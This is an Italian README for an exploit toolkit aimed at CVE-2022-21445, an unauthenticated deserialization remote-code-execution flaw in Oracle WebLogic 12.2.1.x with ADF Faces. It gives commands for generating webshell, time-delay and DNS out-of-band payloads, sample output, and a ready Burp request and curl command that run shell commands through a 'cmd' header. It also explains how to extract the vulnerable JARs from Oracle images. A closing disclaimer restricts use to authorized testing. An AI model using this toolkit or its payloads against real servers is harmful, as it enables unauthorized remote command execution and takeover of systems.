
Exploit per CVE-2022-21445 di Oracle Weblogic 12.2.1.X
Questo toolkit genera payload di exploit per CVE-2022-21445, una vulnerabilità critica di deserializzazione Java che colpisce Oracle WebLogic Server 12.2.1.x con Oracle ADF Faces.
La falla risiede nel componente RemoteApplicationResourceLoader e permette a un attaccante di inviare una richiesta HTTP GET appositamente modificata che attiva una deserializzazione non sicura. Uno sfruttamento riuscito può portare a Remote Code Execution (RCE) non autenticato sul server di destinazione.
| Requisito | Versione | Scopo |
|---|
| Python | 3.6+ | Eseguire lo script di exploit |
| JDK | 1.8 (8u202 consigliato) | Compilare ed eseguire il generatore di payload Java |
| Weblogic | 12.2.1.X | Versioni vulnerabili |
Il payload deve essere compilato con JDK 1.8 per corrispondere al runtime Java del target.
# Use SDKMAN:
sdk install java 8.0.402-tem
# Select the java 8
sudo update-alternatives --config java
java -version # Should show 1.8.x
javac -version # Should show 1.8.x
Crea un payload che legge i comandi dall'header HTTP cmd e restituisce l'output nel corpo della risposta.
python3 exploit.py --version 12.2.1.4 --type webshell
Output:
[*] Versione di WebLogic target: 12.2.1.4
[*] Tipo di payload: webshell
[*] Utilizzo dei JAR da: libs/12.2.1.4
[+] Passo 1/4: Rilevamento hash ClassIdentity per 12.2.1.4...
[*] Hash ClassIdentity rilevato: 423B02C050017B24DB10DFF759AA56BF
[+] Passo 2/4: Generazione classe payload webshell...
[+] Passo 3/4: Compilazione classi payload...
[+] Passo 4/4: Generazione payload serializzato...
======================================================================
PAYLOAD GENERATO CON SUCCESSO
======================================================================
[*] Tipo di payload: webshell
[*] Lunghezza payload: 2156 caratteri
──────────────────────────────────────────────────────────────────────
PAYLOAD GREZZO:
──────────────────────────────────────────────────────────────────────
H4sIAAAAAAAAAA%3D%3DlVZb...
──────────────────────────────────────────────────────────────────────
RICHESTA BURP REPEATER:
──────────────────────────────────────────────────────────────────────
GET /app/afr/foo/remote/H4sIAAAAAAAAAA%3D%3DlVZb.../ HTTP/1.1
Host: target:port
cmd: whoami
Connection: close
──────────────────────────────────────────────────────────────────────
COMANDO CURL:
──────────────────────────────────────────────────────────────────────
curl -k -H "cmd: id" "https://target:port/app/afr/foo/remote/H4sI.../"
Per test ciechi — conferma l'esecuzione del codice se la risposta è ritardata.
python3 exploit.py --version 12.2.1.4 --type sleep --sleep-time 10
Invia il payload e misura il tempo di risposta:
Per conferma out-of-band usando Burp Collaborator o simili.
python3 exploit.py --version 12.2.1.4 --type dns \
--dns-host cve-21445.abc123.oastify.com
Usa --target per ottenere output formattato con host e path di contesto corretti:
python3 exploit.py --version 12.2.1.4 --type webshell \
--target http://10.0.0.50:8002/test
Questo formatta la richiesta Burp e il comando curl con host e path corretti:
GET /test/afr/foo/remote/PAYLOAD/ HTTP/1.1
Host: 10.0.0.50:8002
cmd: whoami
python3 exploit.py --version 12.2.1.4 --type webshell \
--output payload.txt
cmd per eseguire comandi diversi
In caso di file Jar corrotti, segui le istruzioni per installare la versione desiderata di Weblogic ed estrarre i JAR pertinenti.
Questo estrae i JAR Oracle richiesti dall'immagine Docker ufficiale FMW Infrastructure.
# Create the libs directory
mkdir -p libs/12.2.1.3
#or
mkdir -p libs/12.2.1.3
# Pull the Oracle FMW Infrastructure 12.2.1.3 or 12.2.1.4 image
# Note: You may need to accept the license at container-registry.oracle.com
docker pull container-registry.oracle.com/middleware/fmw-infrastructure:12.2.1.3.0
#OR
docker pull container-registry.oracle.com/middleware/fmw-infrastructure:12.2.1.4.0
#Let's say we need the JARs of 12.2.1.4 version (in case of 12.2.1.3 just replace .4 with .3 in the commands)
# Create a temporary container (don't need to start it)
docker create --name fmw1214_temp container-registry.oracle.com/middleware/fmw-infrastructure:12.2.1.4.0
# Extract the required JARs
docker cp fmw1214_temp:/u01/oracle/coherence/lib/coherence.jar ./libs/12.2.1.4/coherence.jar
docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/adf-richclient-api-11.jar ./libs/12.2.1.4/adf-richclient-api-11.jar
docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/adf-richclient-impl-11.jar ./libs/12.2.1.4/adf-richclient-impl-11.jar
docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/trinidad-api.jar ./libs/12.2.1.4/trinidad-api.jar
docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/trinidad-impl.jar ./libs/12.2.1.4/trinidad-impl.jar
Nota: Il JAR
javax.mail(necessario per la codifica MIME base64) viene scaricato automaticamente da Maven Central al primo avvio. Nessuna configurazione manuale richiesta. Il payload della webshell utilizza pura riflessione e non necessita diweblogic.jarin fase di compilazione.
Questo strumento è destinato esclusivamente a test di sicurezza autorizzati. Ottieni sempre un'autorizzazione scritta prima di testare sistemi di cui non sei proprietario. Gli autori non sono responsabili per un uso improprio. L'accesso non autorizzato a sistemi informatici è illegale.